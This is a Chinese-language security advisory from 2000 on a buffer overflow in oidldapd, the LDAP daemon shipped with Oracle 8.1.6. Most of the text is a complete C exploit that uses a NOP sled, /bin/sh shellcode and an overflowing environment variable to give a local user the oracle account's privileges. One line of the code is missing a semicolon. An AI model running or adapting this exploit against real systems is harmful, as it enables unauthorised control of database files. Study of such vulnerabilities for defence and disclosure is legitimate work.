oidldapd缓冲区溢出漏洞

发布时间：2000-10-23
更新时间：2000-10-23
严重程度：高
威胁程度：普通用户访问权限
错误类型：输入验证错误
利用方式：服务器模式

受影响系统

oidldapd- Oracle 8.1.6

详细描述
oidldapd是一个Oracle Internet Directory，它是Oracle自带的一个Ldap守护程序。它存在一个缓冲区溢出漏洞，本地用户利用该漏洞可以获得oracle用户的euid。在默认安装情况下，该用户可以完全控制所有的oracle数据库文件。

测试代码
/*
Exploit Code for oidldapd in Oracle 8.1.6 (8ir2) for Linux. I tested in RH 6.2
and 6.1. This code is a bullshit (i know please no comments about ;-)).

If someone exports this to Sparc please tell me.

synopsis: buffer overflow in oidldapd
impact:  any user gain euid=oracle.

Dedicated to PlazaSite guys. Klink Klink Team. Panxeta, Entrophy and others.
*/

#include <stdio.h>
#include <stdlib.h>

#define DEFAULT_OFFSET             13
#define DEFAULT_BUFFER_SIZE         700
#define NOP                   0x90
#define ORACLE_HOME "/usr/local/oracle/app/oracle/product/8.1.6"

char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
  __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
char *buff, *ptr,*name[3],environ[100],binary[120];
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i;

buff = malloc(bsize);
addr = get_sp() - offset;
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
   *(addr_ptr++) = addr;

for (i = 0; i < bsize/2; i++)
   buff[i] = NOP;

ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
for (i = 0; i < strlen(shellcode); i++)
   *(ptr++) = shellcode[i];

buff[bsize - 1] = '\0'

memcpy(buff,"EGG=",4);
putenv(buff);
sprintf(environ,"ORACLE_HOME=%s",ORACLE_HOME);
putenv(environ);
sprintf(binary,"%s/bin/oidldapd connect=$EGG",ORACLE_HOME);
system(binary);
}

解决方案
尚无

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